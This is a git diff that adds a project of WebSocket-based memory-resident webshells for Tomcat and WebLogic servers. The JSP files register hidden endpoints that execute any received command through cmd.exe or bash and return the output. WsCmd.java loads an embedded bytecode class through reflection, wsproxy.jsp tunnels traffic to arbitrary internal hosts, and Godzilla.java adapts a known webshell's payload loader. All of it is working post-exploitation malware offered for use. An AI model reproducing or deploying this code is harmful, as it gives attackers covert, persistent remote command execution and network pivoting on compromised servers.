diff --git a/wsMemShell/Godzilla.java b/wsMemShell/Godzilla.java new file mode 100644 index 0000000..eccb64d --- /dev/null +++ b/wsMemShell/Godzilla.java @@ -0,0 +1,24 @@ +// 哥斯拉实现websocket马核心代码片段 + +//由于是反编译修改了原作者的软件，所以并不会公布工具，但会陆续公开实现代码和实现过程原理 + + +public void onMessage(ByteBuffer databf) { + try { + data=x(databf.array(), false); + if (session.getUserProperties().get("payload")==null){ + session.getUserProperties().put("payload",new X(this.getClass().getClassLoader()).Q(data)); + session.getBasicRemote().sendObject(x("ok".getBytes(), true)); + }else{ + session.getUserProperties().put("parameters", data); + Object f=((Class)session.getUserProperties().get("payload")).newInstance(); + java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream(); + f.equals(arrOut); + f.equals(session); + f.equals(data); + f.toString(); + session.getBasicRemote().sendObject(x(arrOut.toByteArray(), true)); + } + } catch (Exception ignored) { + } +} diff --git a/wsMemShell/WsCmd.java b/wsMemShell/WsCmd.java new file mode 100644 index 0000000..e7ca885 --- /dev/null +++ b/wsMemShell/WsCmd.java @@ -0,0 +1,48 @@ +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.loader.WebappClassLoaderBase; +import org.apache.catalina.webresources.StandardRoot; +import org.apache.tomcat.websocket.server.WsServerContainer; +import javax.websocket.DeploymentException; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +public class WsCmd { + static { + try { + String urlPath = "/cmd"; + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources(); + if (standardroot == null){ + Field field; + try { + field = webappClassLoaderBase.getClass().getDeclaredField("resources"); + field.setAccessible(true); + }catch (Exception e){ + field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + field.setAccessible(true); + } + standardroot = (StandardRoot)field.get(webappClassLoaderBase); + } + StandardContext standardContext = (StandardContext) standardroot.getContext(); + ClassLoader cl = Thread.currentThread().getContextClassLoader(); + Class clazz; + byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, 118, 10, 0, 30, 0, 46, 8, 0, 47, 10, 0, 48, 0, 49, 10, 0, 8, 0, 50, 8, 0, 51, 10, 0, 8, 0, 52, 10, 0, 53, 0, 54, 7, 0, 55, 8, 0, 56, 8, 0, 57, 10, 0, 53, 0, 58, 8, 0, 59, 8, 0, 60, 10, 0, 61, 0, 62, 7, 0, 63, 10, 0, 15, 0, 46, 10, 0, 64, 0, 65, 10, 0, 15, 0, 66, 10, 0, 64, 0, 67, 10, 0, 61, 0, 68, 9, 0, 29, 0, 69, 11, 0, 70, 0, 71, 10, 0, 15, 0, 72, 11, 0, 73, 0, 74, 7, 0, 75, 10, 0, 25, 0, 76, 11, 0, 70, 0, 77, 10, 0, 29, 0, 78, 7, 0, 79, 7, 0, 80, 7, 0, 82, 1, 0, 7, 115, 101, 115, 115, 105, 111, 110, 1, 0, 25, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 9, 111, 110, 77, 101, 115, 115, 97, 103, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 6, 111, 110, 79, 112, 101, 110, 1, 0, 60, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 41, 86, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 1, 0, 5, 87, 104, 111, 108, 101, 1, 0, 12, 73, 110, 110, 101, 114, 67, 108, 97, 115, 115, 101, 115, 1, 0, 84, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 12, 0, 34, 0, 35, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 83, 12, 0, 84, 0, 85, 12, 0, 86, 0, 87, 1, 0, 7, 119, 105, 110, 100, 111, 119, 115, 12, 0, 88, 0, 89, 7, 0, 90, 12, 0, 91, 0, 92, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 12, 0, 93, 0, 94, 1, 0, 9, 47, 98, 105, 110, 47, 98, 97, 115, 104, 1, 0, 2, 45, 99, 7, 0, 95, 12, 0, 96, 0, 97, 1, 0, 23, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 7, 0, 98, 12, 0, 99, 0, 100, 12, 0, 101, 0, 102, 12, 0, 103, 0, 35, 12, 0, 104, 0, 100, 12, 0, 32, 0, 33, 7, 0, 105, 12, 0, 106, 0, 108, 12, 0, 109, 0, 87, 7, 0, 111, 12, 0, 112, 0, 38, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 113, 0, 35, 12, 0, 114, 0, 115, 12, 0, 37, 0, 38, 1, 0, 10, 87, 101, 98, 83, 111, 99, 107, 101, 116, 67, 1, 0, 24, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 7, 0, 116, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 115, 116, 97, 114, 116, 115, 87, 105, 116, 104, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 40, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 4, 114, 101, 97, 100, 1, 0, 3, 40, 41, 73, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 28, 40, 67, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 5, 99, 108, 111, 115, 101, 1, 0, 7, 119, 97, 105, 116, 70, 111, 114, 1, 0, 23, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 1, 0, 14, 103, 101, 116, 66, 97, 115, 105, 99, 82, 101, 109, 111, 116, 101, 1, 0, 5, 66, 97, 115, 105, 99, 1, 0, 40, 40, 41, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 7, 0, 117, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 1, 0, 8, 115, 101, 110, 100, 84, 101, 120, 116, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 17, 97, 100, 100, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 35, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 0, 33, 0, 29, 0, 30, 0, 1, 0, 31, 0, 1, 0, 2, 0, 32, 0, 33, 0, 0, 0, 4, 0, 1, 0, 34, 0, 35, 0, 1, 0, 36, 0, 0, 0, 17, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 0, 0, 1, 0, 37, 0, 38, 0, 1, 0, 36, 0, 0, 0, -88, 0, 5, 0, 7, 0, 0, 0, -108, 18, 2, -72, 0, 3, -74, 0, 4, 18, 5, -74, 0, 6, 62, 29, -103, 0, 31, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 9, 83, 89, 4, 18, 10, 83, 89, 5, 43, 83, -74, 0, 11, 77, -89, 0, 28, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 12, 83, 89, 4, 18, 13, 83, 89, 5, 43, 83, -74, 0, 11, 77, 44, -74, 0, 14, 58, 4, -69, 0, 15, 89, -73, 0, 16, 58, 5, 25, 4, -74, 0, 17, 89, 54, 6, 2, -97, 0, 15, 25, 5, 21, 6, -110, -74, 0, 18, 87, -89, -1, -21, 25, 4, -74, 0, 19, 44, -74, 0, 20, 87, 42, -76, 0, 21, -71, 0, 22, 1, 0, 25, 5, -74, 0, 23, -71, 0, 24, 2, 0, -89, 0, 8, 77, 44, -74, 0, 26, -79, 0, 1, 0, 0, 0, -117, 0, -114, 0, 25, 0, 0, 0, 1, 0, 39, 0, 40, 0, 1, 0, 36, 0, 0, 0, 25, 0, 2, 0, 3, 0, 0, 0, 13, 42, 43, -75, 0, 21, 43, 42, -71, 0, 27, 2, 0, -79, 0, 0, 0, 0, 16, 65, 0, 37, 0, 41, 0, 1, 0, 36, 0, 0, 0, 21, 0, 2, 0, 2, 0, 0, 0, 9, 42, 43, -64, 0, 8, -74, 0, 28, -79, 0, 0, 0, 0, 0, 2, 0, 42, 0, 0, 0, 2, 0, 45, 0, 44, 0, 0, 0, 18, 0, 2, 0, 31, 0, 81, 0, 43, 6, 9, 0, 73, 0, 110, 0, 107, 6, 9}; + Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + method.setAccessible(true); + clazz = (Class) method.invoke(cl, bytes, 0, bytes.length); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz, urlPath).build(); + WsServerContainer container = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); + if (null == container.findMapping(urlPath)) { + try { + container.addEndpoint(configEndpoint); + } catch (DeploymentException e) { + e.printStackTrace(); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } +} diff --git a/wsMemShell/image/1.png b/wsMemShell/image/1.png new file mode 100644 index 0000000..7fd29ac Binary files /dev/null and b/wsMemShell/image/1.png differ diff --git a/wsMemShell/image/2.png b/wsMemShell/image/2.png new file mode 100644 index 0000000..d4f7d47 Binary files /dev/null and b/wsMemShell/image/2.png differ diff --git a/wsMemShell/image/3.png b/wsMemShell/image/3.png new file mode 100644 index 0000000..61bfc05 Binary files /dev/null and b/wsMemShell/image/3.png differ diff --git a/wsMemShell/image/ws.jpg b/wsMemShell/image/ws.jpg new file mode 100644 index 0000000..fccfccb Binary files /dev/null and b/wsMemShell/image/ws.jpg differ diff --git a/wsMemShell/image/ws2.jpg b/wsMemShell/image/ws2.jpg new file mode 100644 index 0000000..f3fa25b Binary files /dev/null and b/wsMemShell/image/ws2.jpg differ diff --git a/wsMemShell/weblogic/wsAddAllContainer.jsp b/wsMemShell/weblogic/wsAddAllContainer.jsp new file mode 100644 index 0000000..383296e --- /dev/null +++ b/wsMemShell/weblogic/wsAddAllContainer.jsp @@ -0,0 +1,85 @@ +<%@ page import="javax.websocket.server.ServerEndpointConfig" %> +<%@ page import="javax.websocket.server.ServerContainer" %> +<%@ page import="javax.websocket.*" %> +<%@ page import="java.io.*" %> +<%@ page import="org.glassfish.tyrus.server.TyrusServerContainer" %> +<%@ page import="javax.management.MBeanServer" %> +<%@ page import="java.lang.management.ManagementFactory" %> +<%@ page import="java.lang.reflect.Field" %> +<%@ page import="com.sun.jmx.mbeanserver.Repository" %> +<%@ page import="com.sun.jmx.mbeanserver.NamedObject" %> +<%@ page import="java.util.Set" %> +<%@ page import="javax.management.ObjectName" %> +<%@ page import="java.util.HashSet" %> +<%@ page import="weblogic.servlet.internal.WebAppServletContext" %> + +<%! + public static class CmdEndpoint extends Endpoint implements MessageHandler.Whole { + private Session session; + @Override + public void onMessage(String s) { + try { + Process process; + boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); + if (bool) { + process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s }); + } else { + process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s }); + } + InputStream inputStream = process.getInputStream(); + StringBuilder stringBuilder = new StringBuilder(); + int i; + while ((i = inputStream.read()) != -1) + stringBuilder.append((char)i); + inputStream.close(); + process.waitFor(); + session.getBasicRemote().sendText(stringBuilder.toString()); + } catch (Exception exception) { + exception.printStackTrace(); + } + } + @Override + public void onOpen(final Session session, EndpointConfig config) { + this.session = session; + session.addMessageHandler(this); + } + } +%> +<% + // 遍历所有 container 进行添加 + String path = request.getParameter("path"); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(CmdEndpoint.class, path).build(); + MBeanServer server = ManagementFactory.getPlatformMBeanServer(); + Field field = server.getClass().getDeclaredField("wrappedMBeanServer"); + field.setAccessible(true); + Object obj = field.get(server); + field = obj.getClass().getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + obj = field.get(obj); + field = obj.getClass().getDeclaredField("repository"); + field.setAccessible(true); + Repository repository = (Repository)field.get(obj); + Set namedObjects = repository.query(new ObjectName("com.bea:Type=ApplicationRuntime,*"),null); + for(NamedObject namedObject : namedObjects){ + field = namedObject.getObject().getClass().getDeclaredField("managedResource"); + field.setAccessible(true); + obj = field.get(namedObject.getObject()); + field = obj.getClass().getSuperclass().getDeclaredField("children"); + field.setAccessible(true); + HashSet set = (HashSet)field.get(obj); + for(Object o : set){ + if(o.getClass().getName().endsWith("WebAppRuntimeMBeanImpl")){ + field = o.getClass().getDeclaredField("context"); + field.setAccessible(true); + WebAppServletContext servletContext = (WebAppServletContext) field.get(o); + TyrusServerContainer container = (TyrusServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); + try { + container.register(configEndpoint); + out.println("add success,path: " + servletContext.getContextPath()+path); + } catch (Exception e) { + + } + } + } + } +%> diff --git a/wsMemShell/weblogic/wscmd.jsp b/wsMemShell/weblogic/wscmd.jsp new file mode 100644 index 0000000..ffe7d78 --- /dev/null +++ b/wsMemShell/weblogic/wscmd.jsp @@ -0,0 +1,54 @@ +<%@ page import="javax.websocket.server.ServerEndpointConfig" %> +<%@ page import="javax.websocket.server.ServerContainer" %> +<%@ page import="javax.websocket.*" %> +<%@ page import="java.io.*" %> +<%@ page import="org.glassfish.tyrus.server.TyrusServerContainer" %> + +<%! + public static class CmdEndpoint extends Endpoint implements MessageHandler.Whole { + private Session session; + @Override + public void onMessage(String s) { + try { + Process process; + boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); + if (bool) { + process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s }); + } else { + process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s }); + } + InputStream inputStream = process.getInputStream(); + StringBuilder stringBuilder = new StringBuilder(); + int i; + while ((i = inputStream.read()) != -1) + stringBuilder.append((char)i); + inputStream.close(); + process.waitFor(); + session.getBasicRemote().sendText(stringBuilder.toString()); + } catch (Exception exception) { + exception.printStackTrace(); + } + } + @Override + public void onOpen(final Session session, EndpointConfig config) { + this.session = session; + session.addMessageHandler(this); + } + } +%> +<% + + // Weblogic 在获取 ServerContainer 时有些问题，例如在 bea_wls_internal 目录下 servletContext 获取不到 ServerContainer，也就是此jsp传到 bea_wls_internal目录是无效的，但自己部署的war包路径有效，目前还不知道为什么 + + // 可以使用 wsAddAllContainer.jsp 遍历所有的 Container 进行添加，这样 wsAddAllContainer.jsp 上传到bea_wls_internal目录也是可以的 + + String path = request.getParameter("path"); + ServletContext servletContext = request.getSession().getServletContext(); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(CmdEndpoint.class, path).build(); + TyrusServerContainer container = (TyrusServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); + try { + container.register(configEndpoint); + } catch (Exception e) { + e.printStackTrace(); + } +%> diff --git a/wsMemShell/wscmd.jsp b/wsMemShell/wscmd.jsp new file mode 100644 index 0000000..77e8f54 --- /dev/null +++ b/wsMemShell/wscmd.jsp @@ -0,0 +1,52 @@ +<%@ page import="javax.websocket.server.ServerEndpointConfig" %> +<%@ page import="javax.websocket.server.ServerContainer" %> +<%@ page import="javax.websocket.*" %> +<%@ page import="java.io.*" %> + +<%! + public static class C extends Endpoint implements MessageHandler.Whole { + private Session session; + @Override + public void onMessage(String s) { + try { + Process process; + boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); + if (bool) { + process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s }); + } else { + process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s }); + } + InputStream inputStream = process.getInputStream(); + StringBuilder stringBuilder = new StringBuilder(); + int i; + while ((i = inputStream.read()) != -1) + stringBuilder.append((char)i); + inputStream.close(); + process.waitFor(); + session.getBasicRemote().sendText(stringBuilder.toString()); + } catch (Exception exception) { + exception.printStackTrace(); + } + } + @Override + public void onOpen(final Session session, EndpointConfig config) { + this.session = session; + session.addMessageHandler(this); + } + } +%> +<% + String path = request.getParameter("path"); + ServletContext servletContext = request.getSession().getServletContext(); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build(); + ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); + try { + if (servletContext.getAttribute(path) == null){ + container.addEndpoint(configEndpoint); + servletContext.setAttribute(path,path); + } + out.println("success, connect url path: " + servletContext.getContextPath() + path); + } catch (Exception e) { + out.println(e.toString()); + } +%> diff --git a/wsMemShell/wsproxy.jsp b/wsMemShell/wsproxy.jsp new file mode 100644 index 0000000..1c128b7 --- /dev/null +++ b/wsMemShell/wsproxy.jsp @@ -0,0 +1,120 @@ +<%@ page import="javax.websocket.server.ServerEndpointConfig" %> +<%@ page import="javax.websocket.server.ServerContainer" %> +<%@ page import="javax.websocket.*" %> +<%@ page import="java.io.*" %> +<%@ page import="java.nio.channels.AsynchronousSocketChannel" %> +<%@ page import="java.util.HashMap" %> +<%@ page import="java.nio.ByteBuffer" %> +<%@ page import="java.nio.channels.CompletionHandler" %> +<%@ page import="java.net.InetSocketAddress" %> +<%@ page import="java.util.concurrent.TimeUnit" %> +<%@ page import="java.util.concurrent.Future" %> +<%! + public static class ProxyEndpoint extends Endpoint { + long i =0; + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + HashMap map = new HashMap(); + static class Attach { + public AsynchronousSocketChannel client; + public Session channel; + } + void readFromServer(Session channel,AsynchronousSocketChannel client){ + final ByteBuffer buffer = ByteBuffer.allocate(50000); + Attach attach = new Attach(); + attach.client = client; + attach.channel = channel; + client.read(buffer, attach, new CompletionHandler() { + @Override + public void completed(Integer result, final Attach scAttachment) { + buffer.clear(); + try { + if(buffer.hasRemaining() && result>=0) + { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr,0,result); + baos.write(arr,0,result); + ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); + if (scAttachment.channel.isOpen()) { + scAttachment.channel.getBasicRemote().sendBinary(q); + } + baos = new ByteArrayOutputStream(); + readFromServer(scAttachment.channel,scAttachment.client); + }else{ + if(result > 0) + { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr,0,result); + baos.write(arr,0,result); + readFromServer(scAttachment.channel,scAttachment.client); + } + } + } catch (Exception ignored) {} + } + @Override + public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();} + }); + } + void process(ByteBuffer z,Session channel) + { + try{ + if(i>1) + { + AsynchronousSocketChannel client = map.get(channel.getId()); + client.write(z).get(); + z.flip(); + z.clear(); + } + else if(i==1) + { + String values = new String(z.array()); + String[] array = values.split(" "); + String[] addrarray = array[1].split(":"); + AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); + int po = Integer.parseInt(addrarray[1]); + InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); + Future future = client.connect(hostAddress); + try { + future.get(10, TimeUnit.SECONDS); + } catch(Exception ignored){ + channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); + return; + } + map.put(channel.getId(), client); + readFromServer(channel,client); + channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); + } + }catch(Exception ignored){ + } + } + @Override + public void onOpen(final Session session, EndpointConfig config) { + i=0; + session.addMessageHandler(new MessageHandler.Whole() { + @Override + public void onMessage(ByteBuffer message) { + try { + message.clear(); + i++; + process(message,session); + } catch (Exception ignored) { + } + } + }); + } + } +%> +<% + String path = request.getParameter("path"); + ServletContext servletContext = request.getSession().getServletContext(); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(ProxyEndpoint.class, path).build(); + ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); + try { + if (servletContext.getAttribute(path) == null){ + container.addEndpoint(configEndpoint); + servletContext.setAttribute(path,path); + } + out.println("success, connect url path: " + servletContext.getContextPath() + path); + } catch (Exception e) { + out.println(e.toString()); + } +%>